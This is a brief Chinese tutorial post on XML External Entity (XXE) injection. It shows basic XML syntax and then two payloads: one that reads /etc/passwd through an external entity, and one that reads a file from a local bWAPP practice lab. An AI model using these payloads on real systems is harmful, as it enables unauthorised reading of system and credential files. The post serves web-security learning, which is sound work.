XML External Entity attack

XXE漏洞

XML 被设计用来传输和存储数据。

语法规则

<?xml version="1.0" encoding="UTF-8"?> <!--XML 声明-->
<girl age="18">  <!--自定的根元素girl;age属性需要加引导-->
<hair>长头发</hair>  <!--自定义的4个子元素,即girl对象的属性-->
<eye>大眼睛</eye>
<face>可爱的脸庞</face>
<summary>可爱美丽的女孩</summary>
</girl>  <!--根元素的闭合-->

Payload

获取账户密码:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

<xxe>&xxe;</xxe>

获取flag.txt

读取网站任意文件:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://127.0.0.1/bWAPP/robots.txt">
]>

<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

Reference:
《XXE漏洞利用技巧:从XML到远程代码执行》
《安仔课堂:实战讲解XXE漏洞的利用与防御策略》

*原文地址:https://blog.dyboy.cn/websecurity/65.html

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容